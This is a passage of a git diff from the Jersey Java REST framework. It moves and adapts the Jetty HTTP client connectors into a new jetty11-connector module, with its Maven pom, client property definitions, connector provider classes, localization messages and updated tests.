+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyHttp2Connector) {
+            return ((JettyHttp2Connector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 74e5670..0000000
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
-    }
-}
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
similarity index 63%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 2886c72..5fc8425 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
index 7fe2edf..c476301 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.jetty.http2.connector;
 
-import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.eclipse.jetty.client.BasicAuthentication;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.jetty.connector.JettyClientProperties;
 import org.glassfish.jersey.logging.LoggingFeature;
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
index eb1c653..427ed3c 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -91,7 +91,7 @@
 
         final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
         if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
+            assertTrue(connector.getCookieStore().all().isEmpty());
         } else {
             assertNull(connector.getCookieStore());
         }
@@ -109,9 +109,9 @@
         assertEquals("value", r.request().get(String.class));
 
         final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+        assertNotNull(connector.getCookieStore().all());
+        assertEquals(1, connector.getCookieStore().all().size());
+        assertEquals("value", connector.getCookieStore().all().get(0).getValue());
         client.close();
     }
 }
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
index ac6870a..bcf20cc 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.jetty.http2.connector;
 
 import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
@@ -65,7 +66,7 @@
 
     @Override
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.connectorProvider(new JettyConnectorProvider());
     }
 
     @Test
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
index 9823284..c59e557 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -17,10 +17,9 @@
 package org.glassfish.jersey.jetty.http2.connector;
 
 import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml
new file mode 100644
index 0000000..040546c
--- /dev/null
+++ b/connectors/jetty11-connector/pom.xml
@@ -0,0 +1,163 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.connectors</groupId>
+        <artifactId>project</artifactId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-jetty11-connector</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-connectors-jetty11</name>
+
+    <description>Jersey Client Transport via Jetty 11.x</description>
+
+    <properties>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    </properties>
+
+    <dependencyManagement>
+        <dependencies>
+<!--            <dependency>-->
+<!--                <groupId>org.eclipse.jetty</groupId>-->
+<!--                <artifactId>jetty-server</artifactId>-->
+<!--                <version>${jetty11.version}</version>-->
+<!--            </dependency>-->
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-client</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-util</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-client</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-grizzly2-http</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-enforcer-plugin</artifactId>
+                <configuration>
+                    <rulesToSkip>dependencyConvergence</rulesToSkip>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
new file mode 100644
index 0000000..d99c918
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.Map;
+
+import org.glassfish.jersey.internal.util.PropertiesClass;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+
+/**
+ * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+@PropertiesClass
+public final class JettyClientProperties {
+
+    /**
+     * Prevents instantiation.
+     */
+    private JettyClientProperties() {
+        throw new AssertionError("No instances allowed.");
+    }
+
+    /**
+     * A value of {@code false} indicates the client should handle cookies
+     * automatically using HttpClient's default cookie policy. A value
+     * of {@code false} will cause the client to ignore all cookies.
+     * <p/>
+     * The value MUST be an instance of {@link Boolean}.
+     * If the property is absent the default value is {@code false}
+     */
+    public static final String DISABLE_COOKIES =
+            "jersey.config.jetty11.client.disableCookies";
+
+    /**
+     * The credential provider that should be used to retrieve
+     * credentials from a user.
+     *
+     * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found,
+     * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result},
+     * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore}
+     * so that subsequent requests can be preemptively authenticated.
+
+     * <p/>
+     * The value MUST be an instance of {@link
+     * org.eclipse.jetty.client.util.BasicAuthentication}.  If
+     * the property is absent a default provider will be used.
+     */
+    public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
+            "jersey.config.jetty11.client.preemptiveBasicAuthentication";
+
+    /**
+     * A value of {@code false} indicates the client disable a hostname verification
+     * during SSL Handshake. A client will ignore CN value defined in a certificate
+     * that is stored in a truststore.
+     * <p/>
+     * The value MUST be an instance of {@link Boolean}.
+     * If the property is absent the default value is {@code true}.
+     */
+    public static final String ENABLE_SSL_HOSTNAME_VERIFICATION =
+            "jersey.config.jetty11.client.enableSslHostnameVerification";
+
+    /**
+     * Overrides the default Jetty synchronous listener response max buffer size.
+     * In practise, this allows you to read larger responses.
+     * Size in bytes.
+     * <p/>
+     * If the property is absent, the value is such as specified by Jetty (currently 2MiB).
+     */
+    public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE =
+        "jersey.config.jetty11.client.syncListenerResponseMaxSize";
+
+    /**
+     * Total timeout interval for request/response conversation, in milliseconds.
+     * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}.
+     * <p>
+     * The value MUST be an instance convertible to {@link Integer}. The
+     * value of zero (0) is equivalent to an interval of infinity.
+     * </p>
+     * <p>
+     * The default value is zero (infinity).
+     * </p>
+     * <p>
+     * The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     *
+     * @since 2.37
+     */
+    public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout";
+
+    /**
+     * Get the value of the specified property.
+     *
+     * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}.
+     *
+     * @param properties  Map of properties to get the property value from.
+     * @param key         Name of the property.
+     * @param type        Type to retrieve the value as.
+     * @param <T>         Type of the property value.
+     * @return Value of the property or {@code null}.
+     *
+     * @since 2.8
+     */
+    public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
+        return PropertiesHelper.getValue(properties, key, type, null);
+    }
+
+}
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 95%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
index d85ec4d..7565b4b 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -107,7 +107,7 @@
  * <pre>
  * {@code
  * ClientConfig config = new ClientConfig();
- * Connector connector = new JettyConnector(config);
+ * Connector connector = new Jetty11Connector(config);
  * config.connector(connector);
  * Client client = ClientBuilder.newClient(config);
  *
@@ -144,7 +144,7 @@
      * @param jaxrsClient JAX-RS client instance, for which the connector is created.
      * @param config client configuration.
      */
-    protected JettyConnector(final Client jaxrsClient, final Configuration config) {
+    public JettyConnector(final Client jaxrsClient, final Configuration config) {
         this.configuration = config;
         HttpClient httpClient = getRegisteredHttpClient(config);
 
@@ -206,9 +206,9 @@
         }
 
         final Object slResponseMaxSize = configuration.getProperties()
-            .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
+                .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
         if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
-            && (Integer) slResponseMaxSize > 0) {
+                && (Integer) slResponseMaxSize > 0) {
             this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
         }
         else {
@@ -268,7 +268,7 @@
      * Get the {@link CookieStore}.
      *
      * @return the {@link CookieStore} instance or null when
-     * JettyClientProperties.DISABLE_COOKIES set to true.
+     * Jetty11ClientProperties.DISABLE_COOKIES set to true.
      */
     public CookieStore getCookieStore() {
         return cookieStore;
@@ -293,12 +293,12 @@
             }
             else {
                 final FutureResponseListener listener
-                    = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
+                        = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
                 jettyRequest.send(listener);
                 jettyResponse = listener.get();
             }
             HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                                           JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+                    JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
 
             final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
                     ? Statuses.from(jettyResponse.getStatus())
@@ -444,13 +444,13 @@
         try {
             final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
             responseFuture.whenComplete(
-                            (clientResponse, throwable) -> {
-                                if (throwable != null && throwable instanceof CancellationException) {
-                                    // take care of future cancellation
-                                    jettyRequest.abort(throwable);
+                    (clientResponse, throwable) -> {
+                        if (throwable != null && throwable instanceof CancellationException) {
+                            // take care of future cancellation
+                            jettyRequest.abort(throwable);
 
-                                }
-                            });
+                        }
+                    });
 
             final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
             final ByteBufferInputStream entityStream = new ByteBufferInputStream();
@@ -459,7 +459,7 @@
                 @Override
                 public void onHeaders(final Response jettyResponse) {
                     HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                                                   JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+                            JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
 
                     if (responseFuture.isDone()) {
                         if (!callbackInvoked.compareAndSet(false, true)) {
@@ -549,4 +549,4 @@
             throw new ProcessingException("Failed to stop the client.", e);
         }
     }
-}
+}
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
new file mode 100644
index 0000000..167683a
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.internal.util.JdkVersion;
+
+/**
+ * A {@link ConnectorProvider} for Jersey {@link Connector connector}
+ * instances that utilize the Jetty HTTP Client to send and receive
+ * HTTP request and responses.
+ * <p>
+ * The following connector configuration properties are supported:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
+ * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
+ * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
+ * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
+ * </ul>
+ * </p>
+ * <p>
+ * This transport supports both synchronous and asynchronous processing of client requests.
+ * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
+ * </p>
+ * <p>
+ * Typical usage:
+ * </p>
+ * <pre>
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future<Response> future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * </pre>
+ * <p>
+ * Connector instances created via Jetty HTTP Client-based connector provider support only
+ * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
+ * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
+ * effect on Jetty HTTP Client-based connectors.
+ * </p>
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ * @since 2.5
+ */
+public class JettyConnectorProvider implements ConnectorProvider {
+
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return new JettyConnector(client, runtimeConfig);
+    }
+
+    /**
+     * Retrieve the underlying Jetty {@link HttpClient} instance from
+     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
+     * configured to use {@code JettyConnectorProvider}.
+     *
+     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
+     *                  {@code JettyConnectorProvider}.
+     * @return underlying Jetty {@code HttpClient} instance.
+     *
+     * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
+     *                                            nor {@code JerseyWebTarget} instance or in case the component
+     *                                            is not configured to use a {@code JettyConnectorProvider}.
+     * @since 2.8
+     */
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyConnector) {
+            return ((JettyConnector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 94%
rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..95782f2 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 84%
copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 59c8fd3..de6453b 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,9 +15,7 @@
  */
 package org.glassfish.jersey.jetty.connector;
 
-import jakarta.ws.rs.ProcessingException;
 import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
 
 /**
  * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
@@ -53,9 +51,6 @@
 
     @Override
     public HttpClient getHttpClient() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
+        return httpClient;
     }
 }
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
similarity index 73%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
index dd25372..8416cf4 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
